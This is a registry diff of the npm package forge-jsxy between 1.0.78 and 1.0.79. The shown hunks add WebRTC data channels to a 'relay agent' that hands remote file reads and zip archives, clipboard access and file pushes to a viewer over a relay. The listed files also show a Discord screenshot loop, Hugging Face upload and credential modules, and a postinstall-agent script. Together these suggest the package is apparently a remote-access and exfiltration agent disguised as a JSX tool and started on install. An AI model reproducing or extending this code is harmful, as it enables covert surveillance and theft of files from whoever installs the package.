forge-jsxy 1.0.78 → 1.0.79
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +419 -5
- package/assets/remote-control-template.html +673 -179
- package/dist/assets/files-explorer-template.html +420 -6
- package/dist/assets/remote-control-template.html +673 -179
- package/dist/cli-relay.js +3 -0
- package/dist/discordAgentScreenshot.js +13 -7
- package/dist/forgeBulkDc.d.ts +57 -0
- package/dist/forgeBulkDc.js +264 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/fsProtocol.d.ts +7 -0
- package/dist/fsProtocol.js +115 -53
- package/dist/hfCredentials.js +4 -1
- package/dist/hfUpload.js +38 -4
- package/dist/relayAgent.js +216 -23
- package/dist/relayDashboardGate.js +8 -0
- package/dist/relayServer.js +180 -25
- package/package.json +5 -3
- package/scripts/copy-assets.mjs +15 -2
- package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
- package/scripts/postinstall-agent.mjs +13 -0
package/dist/relayAgent.js
CHANGED
|
@@ -46,6 +46,8 @@ const os = __importStar(require("node:os"));
|
|
|
46
46
|
const path = __importStar(require("node:path"));
|
|
47
47
|
const ws_1 = __importDefault(require("ws"));
|
|
48
48
|
const relayAuth_1 = require("./relayAuth");
|
|
49
|
+
const forgeRtcAgent_1 = require("./forgeRtcAgent");
|
|
50
|
+
const forgeBulkDc_1 = require("./forgeBulkDc");
|
|
49
51
|
const fsMessages_1 = require("./fsMessages");
|
|
50
52
|
const hfCredentials_1 = require("./hfCredentials");
|
|
51
53
|
const hfUpload_1 = require("./hfUpload");
|
|
@@ -314,11 +316,38 @@ function runRelayAgentLoop(opts) {
|
|
|
314
316
|
log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n Relay: ${relayUrl}\n Session: ${sessionId}\n FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
|
|
315
317
|
log(quiet, " Connecting to relay...");
|
|
316
318
|
void (0, relayAuth_1.relayWsProxySetting)();
|
|
319
|
+
/** Reported in `info.features.webrtc_datachannel` for dashboards; relay still advertises ICE — viewers probe then fall back when false. */
|
|
320
|
+
const agentWebrtcDatachannelCapable = (0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() && (0, forgeRtcAgent_1.loadNodeDcPeerConnection)() !== null;
|
|
317
321
|
const preOpenQueue = [];
|
|
322
|
+
let relayRtcIceServersCache = null;
|
|
323
|
+
let forgeRtcSession = null;
|
|
324
|
+
let rtcDcOutbound = null;
|
|
325
|
+
let rtcDcInputOutbound = null;
|
|
326
|
+
let rtcDcBulkOutbound = null;
|
|
327
|
+
/** Serialize `forge-bulk` frames so hdr/binary pairs do not interleave across concurrent fs ops. */
|
|
328
|
+
let bulkFsSendChain = Promise.resolve();
|
|
329
|
+
const forgeRtcPendingViewerIce = [];
|
|
330
|
+
const closeForgeRtcSessionOnly = () => {
|
|
331
|
+
try {
|
|
332
|
+
forgeRtcSession?.close();
|
|
333
|
+
}
|
|
334
|
+
catch {
|
|
335
|
+
/* skip */
|
|
336
|
+
}
|
|
337
|
+
forgeRtcSession = null;
|
|
338
|
+
rtcDcOutbound = null;
|
|
339
|
+
rtcDcInputOutbound = null;
|
|
340
|
+
rtcDcBulkOutbound = null;
|
|
341
|
+
bulkFsSendChain = Promise.resolve();
|
|
342
|
+
};
|
|
343
|
+
const resetForgeRtcNegotiation = () => {
|
|
344
|
+
forgeRtcPendingViewerIce.length = 0;
|
|
345
|
+
closeForgeRtcSessionOnly();
|
|
346
|
+
};
|
|
318
347
|
/** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
|
|
319
348
|
const WS_CONNECTING = 0;
|
|
320
349
|
const WS_OPEN = 1;
|
|
321
|
-
const
|
|
350
|
+
const sendJsonWs = (obj) => {
|
|
322
351
|
const w = outboundAgentWs;
|
|
323
352
|
if (!w)
|
|
324
353
|
return;
|
|
@@ -330,6 +359,61 @@ function runRelayAgentLoop(opts) {
|
|
|
330
359
|
preOpenQueue.push(obj);
|
|
331
360
|
}
|
|
332
361
|
};
|
|
362
|
+
const sendJson = (obj) => {
|
|
363
|
+
const rec = obj;
|
|
364
|
+
const ty = String(rec?.type ?? "");
|
|
365
|
+
const wsOnly = !ty ||
|
|
366
|
+
ty === "info" ||
|
|
367
|
+
ty.startsWith("forge_rtc_") ||
|
|
368
|
+
ty.startsWith("discord_") ||
|
|
369
|
+
ty.startsWith("relay_") ||
|
|
370
|
+
ty === "auth_challenge" ||
|
|
371
|
+
ty === "auth_result";
|
|
372
|
+
if (!wsOnly && (0, forgeRtcAgent_1.agentOutboundPreferRtcDc)(ty)) {
|
|
373
|
+
let payload;
|
|
374
|
+
try {
|
|
375
|
+
payload = JSON.stringify(obj);
|
|
376
|
+
}
|
|
377
|
+
catch {
|
|
378
|
+
payload = "";
|
|
379
|
+
}
|
|
380
|
+
if (payload.length > 0 && payload.length <= 32768) {
|
|
381
|
+
for (const dc of [rtcDcOutbound, rtcDcInputOutbound]) {
|
|
382
|
+
if (!dc?.isOpen())
|
|
383
|
+
continue;
|
|
384
|
+
try {
|
|
385
|
+
if (dc.sendMessage(payload)) {
|
|
386
|
+
return;
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
catch {
|
|
390
|
+
/* WS fallback */
|
|
391
|
+
}
|
|
392
|
+
}
|
|
393
|
+
}
|
|
394
|
+
}
|
|
395
|
+
sendJsonWs(obj);
|
|
396
|
+
};
|
|
397
|
+
const deliverFsResponse = (resp) => {
|
|
398
|
+
const ty = String(resp.type ?? "");
|
|
399
|
+
const bulk = rtcDcBulkOutbound;
|
|
400
|
+
if (bulk?.isOpen() &&
|
|
401
|
+
(ty === "fs_read_result" || ty === "fs_zip_result") &&
|
|
402
|
+
typeof resp.b64 === "string" &&
|
|
403
|
+
resp.b64.length > 0) {
|
|
404
|
+
bulkFsSendChain = bulkFsSendChain
|
|
405
|
+
.then(() => {
|
|
406
|
+
if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
|
|
407
|
+
sendJson(resp);
|
|
408
|
+
}
|
|
409
|
+
})
|
|
410
|
+
.catch(() => {
|
|
411
|
+
sendJson(resp);
|
|
412
|
+
});
|
|
413
|
+
return;
|
|
414
|
+
}
|
|
415
|
+
sendJson(resp);
|
|
416
|
+
};
|
|
333
417
|
const ws = new ws_1.default(wsUrl, {
|
|
334
418
|
/** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
|
|
335
419
|
maxPayload: 2 ** 27,
|
|
@@ -343,6 +427,8 @@ function runRelayAgentLoop(opts) {
|
|
|
343
427
|
let relayAgentHandshakeDone = false;
|
|
344
428
|
let discordLoopStarted = false;
|
|
345
429
|
let discordEnabledByRelayHandshake = false;
|
|
430
|
+
/** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
|
|
431
|
+
let forgeRtcStatusSentThisViewer = false;
|
|
346
432
|
const tryStartDiscordAfterHandshake = () => {
|
|
347
433
|
if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
|
|
348
434
|
return;
|
|
@@ -430,6 +516,10 @@ function runRelayAgentLoop(opts) {
|
|
|
430
516
|
}
|
|
431
517
|
}
|
|
432
518
|
}
|
|
519
|
+
const iceRaw = caps.rtc_ice_servers;
|
|
520
|
+
if (Array.isArray(iceRaw) && iceRaw.length > 0) {
|
|
521
|
+
relayRtcIceServersCache = iceRaw;
|
|
522
|
+
}
|
|
433
523
|
}
|
|
434
524
|
relayAgentHandshakeDone = true;
|
|
435
525
|
try {
|
|
@@ -474,6 +564,7 @@ function runRelayAgentLoop(opts) {
|
|
|
474
564
|
filesystem: allowFilesystem,
|
|
475
565
|
screen: false,
|
|
476
566
|
password_required: Boolean(password),
|
|
567
|
+
webrtc_datachannel: agentWebrtcDatachannelCapable,
|
|
477
568
|
},
|
|
478
569
|
scale: 1.0,
|
|
479
570
|
quality: 0,
|
|
@@ -488,17 +579,17 @@ function runRelayAgentLoop(opts) {
|
|
|
488
579
|
tryStartDiscordAfterHandshake();
|
|
489
580
|
});
|
|
490
581
|
});
|
|
491
|
-
|
|
492
|
-
if (isBinary)
|
|
493
|
-
return;
|
|
494
|
-
let msg;
|
|
495
|
-
try {
|
|
496
|
-
msg = JSON.parse(String(data));
|
|
497
|
-
}
|
|
498
|
-
catch {
|
|
499
|
-
return;
|
|
500
|
-
}
|
|
582
|
+
const handleViewerInboundFromRelay = (msg, via) => {
|
|
501
583
|
const msgType = String(msg.type || "");
|
|
584
|
+
if (via === "dc") {
|
|
585
|
+
if (msgType.startsWith("forge_rtc_"))
|
|
586
|
+
return;
|
|
587
|
+
if (msgType !== "get_info" &&
|
|
588
|
+
!msgType.startsWith("fs_") &&
|
|
589
|
+
!msgType.startsWith("rc_")) {
|
|
590
|
+
return;
|
|
591
|
+
}
|
|
592
|
+
}
|
|
502
593
|
if (msgType === "discord_screenshot_upload_result") {
|
|
503
594
|
const rid = String(msg.request_id ?? "");
|
|
504
595
|
const pending = pendingDiscordRelayAck.get(rid);
|
|
@@ -565,6 +656,7 @@ function runRelayAgentLoop(opts) {
|
|
|
565
656
|
}
|
|
566
657
|
if (msgType === "viewer_connected") {
|
|
567
658
|
viewerConnected = true;
|
|
659
|
+
forgeRtcStatusSentThisViewer = false;
|
|
568
660
|
viewerAuthenticated = !password;
|
|
569
661
|
pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
|
|
570
662
|
log(quiet, ` Viewer connected${password ? " (awaiting auth)" : ""}`);
|
|
@@ -596,7 +688,10 @@ function runRelayAgentLoop(opts) {
|
|
|
596
688
|
}
|
|
597
689
|
if (msgType === "viewer_disconnected") {
|
|
598
690
|
viewerConnected = false;
|
|
599
|
-
|
|
691
|
+
forgeRtcStatusSentThisViewer = false;
|
|
692
|
+
resetForgeRtcNegotiation();
|
|
693
|
+
/** Always drop auth until `viewer_connected` — same effective behavior as password mode (`!password` was false there). */
|
|
694
|
+
viewerAuthenticated = false;
|
|
600
695
|
pendingAuthNonce = "";
|
|
601
696
|
log(quiet, " Viewer disconnected");
|
|
602
697
|
return;
|
|
@@ -640,6 +735,21 @@ function runRelayAgentLoop(opts) {
|
|
|
640
735
|
}
|
|
641
736
|
return;
|
|
642
737
|
}
|
|
738
|
+
/** Passwordless: relay may deliver this before deferred `viewer_connected`. Password sessions: only after auth (avoid leaking OS/version). */
|
|
739
|
+
if (msgType === "get_info") {
|
|
740
|
+
if (!password || viewerAuthenticated) {
|
|
741
|
+
sendJson({
|
|
742
|
+
type: "system_info",
|
|
743
|
+
data: {
|
|
744
|
+
...systemInfo(),
|
|
745
|
+
forge_jsx_version: forgeJsxVersion,
|
|
746
|
+
},
|
|
747
|
+
screen: screenOff,
|
|
748
|
+
scale: 1.0,
|
|
749
|
+
});
|
|
750
|
+
}
|
|
751
|
+
return;
|
|
752
|
+
}
|
|
643
753
|
if (!viewerAuthenticated) {
|
|
644
754
|
const rid = String(msg.request_id ?? "");
|
|
645
755
|
if (msgType === "fs_hf_upload") {
|
|
@@ -664,6 +774,8 @@ function runRelayAgentLoop(opts) {
|
|
|
664
774
|
"rc_clipboard_get",
|
|
665
775
|
"rc_clipboard_set",
|
|
666
776
|
"rc_file_push",
|
|
777
|
+
"forge_rtc_offer",
|
|
778
|
+
"forge_rtc_candidate",
|
|
667
779
|
].includes(msgType)) {
|
|
668
780
|
sendJson({
|
|
669
781
|
type: "fs_error",
|
|
@@ -678,16 +790,83 @@ function runRelayAgentLoop(opts) {
|
|
|
678
790
|
if (msgType === "relay_hf_credentials_request") {
|
|
679
791
|
return;
|
|
680
792
|
}
|
|
681
|
-
if (msgType === "
|
|
682
|
-
|
|
683
|
-
|
|
684
|
-
|
|
685
|
-
|
|
686
|
-
|
|
687
|
-
|
|
688
|
-
|
|
689
|
-
|
|
690
|
-
|
|
793
|
+
if (msgType === "forge_rtc_offer") {
|
|
794
|
+
resetForgeRtcNegotiation();
|
|
795
|
+
const peerCtor = (0, forgeRtcAgent_1.loadNodeDcPeerConnection)();
|
|
796
|
+
if (!(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() || !peerCtor) {
|
|
797
|
+
if (!forgeRtcStatusSentThisViewer) {
|
|
798
|
+
forgeRtcStatusSentThisViewer = true;
|
|
799
|
+
sendJsonWs({
|
|
800
|
+
type: "forge_rtc_agent_status",
|
|
801
|
+
ok: false,
|
|
802
|
+
datachannel: false,
|
|
803
|
+
detail: !(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)()
|
|
804
|
+
? "WebRTC P2P disabled on agent (FORGE_JS_WEBRTC_P2P)."
|
|
805
|
+
: "Native WebRTC unavailable (optional dependency node-datachannel missing or failed to load). Remote control uses the relay WebSocket.",
|
|
806
|
+
});
|
|
807
|
+
}
|
|
808
|
+
return;
|
|
809
|
+
}
|
|
810
|
+
try {
|
|
811
|
+
forgeRtcSession = new forgeRtcAgent_1.ForgeRtcAgentSession({
|
|
812
|
+
PeerConnection: peerCtor,
|
|
813
|
+
sdp: String(msg.sdp ?? ""),
|
|
814
|
+
sdpType: String(msg.sdpType ?? "offer"),
|
|
815
|
+
iceServers: (0, forgeRtcAgent_1.rtcIceServersForNodeDc)(relayRtcIceServersCache ?? undefined),
|
|
816
|
+
sendSignaling: sendJsonWs,
|
|
817
|
+
setOutboundDc: (which, dc) => {
|
|
818
|
+
if (which === "main") {
|
|
819
|
+
rtcDcOutbound = dc;
|
|
820
|
+
}
|
|
821
|
+
else if (which === "input") {
|
|
822
|
+
rtcDcInputOutbound = dc;
|
|
823
|
+
}
|
|
824
|
+
else if (which === "bulk") {
|
|
825
|
+
rtcDcBulkOutbound = dc;
|
|
826
|
+
}
|
|
827
|
+
},
|
|
828
|
+
onInboundDcText: (text) => {
|
|
829
|
+
let inner;
|
|
830
|
+
try {
|
|
831
|
+
inner = JSON.parse(text);
|
|
832
|
+
}
|
|
833
|
+
catch {
|
|
834
|
+
return;
|
|
835
|
+
}
|
|
836
|
+
handleViewerInboundFromRelay(inner, "dc");
|
|
837
|
+
},
|
|
838
|
+
onFatal: () => {
|
|
839
|
+
resetForgeRtcNegotiation();
|
|
840
|
+
},
|
|
841
|
+
quiet,
|
|
842
|
+
});
|
|
843
|
+
}
|
|
844
|
+
catch (e) {
|
|
845
|
+
resetForgeRtcNegotiation();
|
|
846
|
+
sendJsonWs({
|
|
847
|
+
type: "forge_rtc_agent_status",
|
|
848
|
+
ok: false,
|
|
849
|
+
datachannel: false,
|
|
850
|
+
detail: String(e),
|
|
851
|
+
});
|
|
852
|
+
return;
|
|
853
|
+
}
|
|
854
|
+
for (const p of forgeRtcPendingViewerIce) {
|
|
855
|
+
forgeRtcSession?.addRemoteIce(p.candidate, p.mid);
|
|
856
|
+
}
|
|
857
|
+
forgeRtcPendingViewerIce.length = 0;
|
|
858
|
+
return;
|
|
859
|
+
}
|
|
860
|
+
if (msgType === "forge_rtc_candidate") {
|
|
861
|
+
const cand = String(msg.candidate ?? "").trim();
|
|
862
|
+
if (!cand)
|
|
863
|
+
return;
|
|
864
|
+
const mid = msg.sdpMid != null ? String(msg.sdpMid) : "";
|
|
865
|
+
if (!forgeRtcSession) {
|
|
866
|
+
forgeRtcPendingViewerIce.push({ candidate: cand, mid });
|
|
867
|
+
return;
|
|
868
|
+
}
|
|
869
|
+
forgeRtcSession.addRemoteIce(cand, mid);
|
|
691
870
|
return;
|
|
692
871
|
}
|
|
693
872
|
if ([
|
|
@@ -707,7 +886,7 @@ function runRelayAgentLoop(opts) {
|
|
|
707
886
|
void (async () => {
|
|
708
887
|
try {
|
|
709
888
|
const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
|
|
710
|
-
|
|
889
|
+
deliverFsResponse(resp);
|
|
711
890
|
}
|
|
712
891
|
catch (e) {
|
|
713
892
|
sendJson({
|
|
@@ -821,6 +1000,18 @@ function runRelayAgentLoop(opts) {
|
|
|
821
1000
|
})();
|
|
822
1001
|
});
|
|
823
1002
|
}
|
|
1003
|
+
};
|
|
1004
|
+
ws.on("message", (data, isBinary) => {
|
|
1005
|
+
if (isBinary)
|
|
1006
|
+
return;
|
|
1007
|
+
let parsed;
|
|
1008
|
+
try {
|
|
1009
|
+
parsed = JSON.parse(String(data));
|
|
1010
|
+
}
|
|
1011
|
+
catch {
|
|
1012
|
+
return;
|
|
1013
|
+
}
|
|
1014
|
+
handleViewerInboundFromRelay(parsed, "ws");
|
|
824
1015
|
});
|
|
825
1016
|
ws.on("close", () => {
|
|
826
1017
|
clearAllPendingDiscordAgent("agent websocket closed");
|
|
@@ -832,6 +1023,7 @@ function runRelayAgentLoop(opts) {
|
|
|
832
1023
|
}
|
|
833
1024
|
stopDiscordScreenshotLoop = null;
|
|
834
1025
|
preOpenQueue.length = 0;
|
|
1026
|
+
resetForgeRtcNegotiation();
|
|
835
1027
|
if (outboundAgentWs === ws)
|
|
836
1028
|
outboundAgentWs = null;
|
|
837
1029
|
relayDisconnectCleanup();
|
|
@@ -849,6 +1041,7 @@ function runRelayAgentLoop(opts) {
|
|
|
849
1041
|
log(quiet, ` Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
|
|
850
1042
|
if (outboundAgentWs === ws) {
|
|
851
1043
|
preOpenQueue.length = 0;
|
|
1044
|
+
resetForgeRtcNegotiation();
|
|
852
1045
|
outboundAgentWs = null;
|
|
853
1046
|
}
|
|
854
1047
|
relayDisconnectCleanup();
|
|
@@ -306,5 +306,13 @@ function readJsonBody(req) {
|
|
|
306
306
|
}
|
|
307
307
|
});
|
|
308
308
|
req.on("error", () => fin({ error: "aborted" }));
|
|
309
|
+
/** RST / half-close without `error`: finish so `.then` handlers still run and sockets are not wedged. */
|
|
310
|
+
req.on("close", () => {
|
|
311
|
+
if (done)
|
|
312
|
+
return;
|
|
313
|
+
if (req.readableEnded)
|
|
314
|
+
return;
|
|
315
|
+
fin({ error: "aborted" });
|
|
316
|
+
});
|
|
309
317
|
});
|
|
310
318
|
}
|
package/dist/relayServer.js
CHANGED
|
@@ -265,6 +265,99 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
|
|
|
265
265
|
return "relay";
|
|
266
266
|
return "webhook";
|
|
267
267
|
}
|
|
268
|
+
/**
|
|
269
|
+
* Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
|
|
270
|
+
* Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
|
|
271
|
+
*/
|
|
272
|
+
function relayWebRtcSignalingEnabled() {
|
|
273
|
+
const raw = String(process.env.RELAY_WEBRTC_SIGNALING ?? "").trim().toLowerCase();
|
|
274
|
+
if (["0", "false", "no", "off"].includes(raw))
|
|
275
|
+
return false;
|
|
276
|
+
return true;
|
|
277
|
+
}
|
|
278
|
+
const RELAY_DEFAULT_RTC_ICE_SERVERS = [
|
|
279
|
+
{ urls: "stun:stun.l.google.com:19302" },
|
|
280
|
+
{ urls: "stun:stun1.l.google.com:19302" },
|
|
281
|
+
];
|
|
282
|
+
/**
|
|
283
|
+
* JSON array of RTCIceServer objects, e.g.
|
|
284
|
+
* `[{"urls":"stun:stun.l.google.com:19302"},{"urls":"turn:…","username":"…","credential":"…"}]`
|
|
285
|
+
*/
|
|
286
|
+
function relayRtcIceServersAdvertised() {
|
|
287
|
+
const raw = String(process.env.RELAY_RTC_ICE_SERVERS || "").trim();
|
|
288
|
+
if (raw) {
|
|
289
|
+
try {
|
|
290
|
+
const parsed = JSON.parse(raw);
|
|
291
|
+
if (Array.isArray(parsed) && parsed.length > 0)
|
|
292
|
+
return parsed;
|
|
293
|
+
}
|
|
294
|
+
catch {
|
|
295
|
+
/* fall through */
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
return [...RELAY_DEFAULT_RTC_ICE_SERVERS];
|
|
299
|
+
}
|
|
300
|
+
function relayWebRtcFeaturesPayload() {
|
|
301
|
+
if (!relayWebRtcSignalingEnabled())
|
|
302
|
+
return undefined;
|
|
303
|
+
return {
|
|
304
|
+
webrtc_signaling: true,
|
|
305
|
+
rtc_ice_servers: relayRtcIceServersAdvertised(),
|
|
306
|
+
};
|
|
307
|
+
}
|
|
308
|
+
function relayWebRtcOmitWhenAgentOlderThanRelay() {
|
|
309
|
+
const raw = String(process.env.RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY || "")
|
|
310
|
+
.trim()
|
|
311
|
+
.toLowerCase();
|
|
312
|
+
return ["1", "true", "yes", "on"].includes(raw);
|
|
313
|
+
}
|
|
314
|
+
/** Digit-only dotted semver segments (aligned with viewer `versionLt`). */
|
|
315
|
+
function semverLt(a, b) {
|
|
316
|
+
const parse = (v) => v
|
|
317
|
+
.split(".")
|
|
318
|
+
.map((s) => parseInt(s.trim(), 10))
|
|
319
|
+
.filter((n) => Number.isFinite(n));
|
|
320
|
+
const av = parse(a);
|
|
321
|
+
const bv = parse(b);
|
|
322
|
+
if (av.length === 0 || bv.length === 0)
|
|
323
|
+
return false;
|
|
324
|
+
const n = Math.max(av.length, bv.length);
|
|
325
|
+
for (let i = 0; i < n; i++) {
|
|
326
|
+
const ai = av[i] ?? 0;
|
|
327
|
+
const bi = bv[i] ?? 0;
|
|
328
|
+
if (ai < bi)
|
|
329
|
+
return true;
|
|
330
|
+
if (ai > bi)
|
|
331
|
+
return false;
|
|
332
|
+
}
|
|
333
|
+
return false;
|
|
334
|
+
}
|
|
335
|
+
/**
|
|
336
|
+
* WebRTC ICE advertisement for viewers when relay signaling is on.
|
|
337
|
+
* Always returns ICE payload unless signaling is disabled. Optional legacy gate:
|
|
338
|
+
* RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 omits WebRTC until agent semver ≥ relay package.
|
|
339
|
+
* Agents without native datachannel still receive signaling here; the viewer probes and falls back to the relay WebSocket.
|
|
340
|
+
*/
|
|
341
|
+
function relayWebRtcFeaturesForViewer(session) {
|
|
342
|
+
const base = relayWebRtcFeaturesPayload();
|
|
343
|
+
if (!base)
|
|
344
|
+
return undefined;
|
|
345
|
+
if (!relayWebRtcOmitWhenAgentOlderThanRelay()) {
|
|
346
|
+
return base;
|
|
347
|
+
}
|
|
348
|
+
const agentVer = session.agentVersion.trim();
|
|
349
|
+
if (!agentVer)
|
|
350
|
+
return base;
|
|
351
|
+
const relayVer = relayPackageVersion();
|
|
352
|
+
if (!relayVer || relayVer === "unknown")
|
|
353
|
+
return base;
|
|
354
|
+
if (!/^\d/.test(agentVer))
|
|
355
|
+
return base;
|
|
356
|
+
if (/^\d/.test(relayVer) && semverLt(agentVer, relayVer)) {
|
|
357
|
+
return undefined;
|
|
358
|
+
}
|
|
359
|
+
return base;
|
|
360
|
+
}
|
|
268
361
|
class Session {
|
|
269
362
|
sessionId;
|
|
270
363
|
agent = null;
|
|
@@ -278,6 +371,8 @@ class Session {
|
|
|
278
371
|
agentHostname = "";
|
|
279
372
|
agentRemoteIp = "";
|
|
280
373
|
agentFilesystem = false;
|
|
374
|
+
/** From agent `info.features.webrtc_datachannel`; null if absent (legacy agent). */
|
|
375
|
+
agentWebrtcDatachannel = null;
|
|
281
376
|
constructor(sessionId) {
|
|
282
377
|
this.sessionId = sessionId;
|
|
283
378
|
}
|
|
@@ -297,6 +392,22 @@ function getOrCreateSession(sessionId) {
|
|
|
297
392
|
}
|
|
298
393
|
return s;
|
|
299
394
|
}
|
|
395
|
+
/** Push WebRTC availability when agent `info` arrives after the viewer (or agent upgrades). */
|
|
396
|
+
function pushViewerWebRtcAvailability(session) {
|
|
397
|
+
if (!wsIsOpen(session.viewer))
|
|
398
|
+
return;
|
|
399
|
+
const rtc = relayWebRtcFeaturesForViewer(session);
|
|
400
|
+
try {
|
|
401
|
+
session.viewer.send(JSON.stringify({
|
|
402
|
+
type: "relay_webrtc_availability",
|
|
403
|
+
webrtc_signaling: rtc?.webrtc_signaling === true,
|
|
404
|
+
...(rtc?.webrtc_signaling === true ? { rtc_ice_servers: rtc.rtc_ice_servers } : {}),
|
|
405
|
+
}));
|
|
406
|
+
}
|
|
407
|
+
catch {
|
|
408
|
+
/* skip */
|
|
409
|
+
}
|
|
410
|
+
}
|
|
300
411
|
function removeSession(sessionId) {
|
|
301
412
|
sessions.delete(sessionId);
|
|
302
413
|
}
|
|
@@ -624,6 +735,17 @@ function _applySecurityHeaders(res) {
|
|
|
624
735
|
"connect-src 'self' ws: wss:; " + // WebSocket connections
|
|
625
736
|
"frame-ancestors 'none';");
|
|
626
737
|
}
|
|
738
|
+
/** Async HTTP handlers skip writes when the socket already closed (avoids ERR_HTTP_HEADERS_SENT). */
|
|
739
|
+
function _ifHttpWritable(res, send) {
|
|
740
|
+
if (res.writableEnded)
|
|
741
|
+
return;
|
|
742
|
+
try {
|
|
743
|
+
send();
|
|
744
|
+
}
|
|
745
|
+
catch {
|
|
746
|
+
/* ignore — peer may disconnect mid-response */
|
|
747
|
+
}
|
|
748
|
+
}
|
|
627
749
|
function writeFilesExplorerHtml(res) {
|
|
628
750
|
let html;
|
|
629
751
|
try {
|
|
@@ -662,25 +784,35 @@ function handlePostRelayDashboard(req, res, pathname) {
|
|
|
662
784
|
return;
|
|
663
785
|
}
|
|
664
786
|
void (0, relayDashboardGate_1.readJsonBody)(req).then((b) => {
|
|
665
|
-
if (
|
|
666
|
-
res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
|
|
667
|
-
res.end(b.error);
|
|
668
|
-
return;
|
|
669
|
-
}
|
|
670
|
-
const pw = b.data?.password ?? '';
|
|
671
|
-
const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
|
|
672
|
-
if (!t.ok) {
|
|
673
|
-
res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
|
|
674
|
-
res.end("Unauthorized");
|
|
787
|
+
if (res.writableEnded)
|
|
675
788
|
return;
|
|
789
|
+
try {
|
|
790
|
+
if (b.error) {
|
|
791
|
+
res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
|
|
792
|
+
res.end(b.error);
|
|
793
|
+
return;
|
|
794
|
+
}
|
|
795
|
+
const pw = b.data?.password ?? '';
|
|
796
|
+
const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
|
|
797
|
+
if (!t.ok) {
|
|
798
|
+
res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
|
|
799
|
+
res.end("Unauthorized");
|
|
800
|
+
return;
|
|
801
|
+
}
|
|
802
|
+
if (t["set-cookie"]) {
|
|
803
|
+
res.writeHead(204, { "set-cookie": t["set-cookie"] });
|
|
804
|
+
res.end();
|
|
805
|
+
}
|
|
806
|
+
else {
|
|
807
|
+
res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
808
|
+
res.end("Config error");
|
|
809
|
+
}
|
|
676
810
|
}
|
|
677
|
-
|
|
678
|
-
res
|
|
679
|
-
|
|
680
|
-
|
|
681
|
-
|
|
682
|
-
res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
683
|
-
res.end("Config error");
|
|
811
|
+
catch {
|
|
812
|
+
_ifHttpWritable(res, () => {
|
|
813
|
+
res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
|
|
814
|
+
res.end("Internal error");
|
|
815
|
+
});
|
|
684
816
|
}
|
|
685
817
|
});
|
|
686
818
|
return;
|
|
@@ -709,6 +841,7 @@ function listSessionsPayload() {
|
|
|
709
841
|
agent_os: s.agentOs || null,
|
|
710
842
|
agent_hostname: s.agentHostname || null,
|
|
711
843
|
agent_filesystem: s.agentFilesystem,
|
|
844
|
+
agent_webrtc_datachannel: s.agentWebrtcDatachannel,
|
|
712
845
|
}));
|
|
713
846
|
}
|
|
714
847
|
function handleHttp(req, res) {
|
|
@@ -848,17 +981,21 @@ function handleHttp(req, res) {
|
|
|
848
981
|
void (async () => {
|
|
849
982
|
try {
|
|
850
983
|
const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
|
|
851
|
-
|
|
852
|
-
|
|
853
|
-
|
|
854
|
-
|
|
984
|
+
_ifHttpWritable(res, () => {
|
|
985
|
+
_applySecurityHeaders(res);
|
|
986
|
+
res.writeHead(200, {
|
|
987
|
+
"Content-Type": "application/json; charset=utf-8",
|
|
988
|
+
"Cache-Control": "no-store",
|
|
989
|
+
});
|
|
990
|
+
res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
|
|
855
991
|
});
|
|
856
|
-
res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
|
|
857
992
|
}
|
|
858
993
|
catch (e) {
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
994
|
+
_ifHttpWritable(res, () => {
|
|
995
|
+
_applySecurityHeaders(res);
|
|
996
|
+
res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
|
|
997
|
+
res.end(JSON.stringify({ error: String(e), seq_id: null }));
|
|
998
|
+
});
|
|
862
999
|
}
|
|
863
1000
|
})();
|
|
864
1001
|
return;
|
|
@@ -985,6 +1122,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
985
1122
|
const v = relayPackageVersion();
|
|
986
1123
|
return v === "unknown" ? undefined : v;
|
|
987
1124
|
})(),
|
|
1125
|
+
...(relayWebRtcFeaturesPayload() ?? {}),
|
|
988
1126
|
};
|
|
989
1127
|
ws.send(JSON.stringify({
|
|
990
1128
|
type: "connected",
|
|
@@ -1016,6 +1154,14 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1016
1154
|
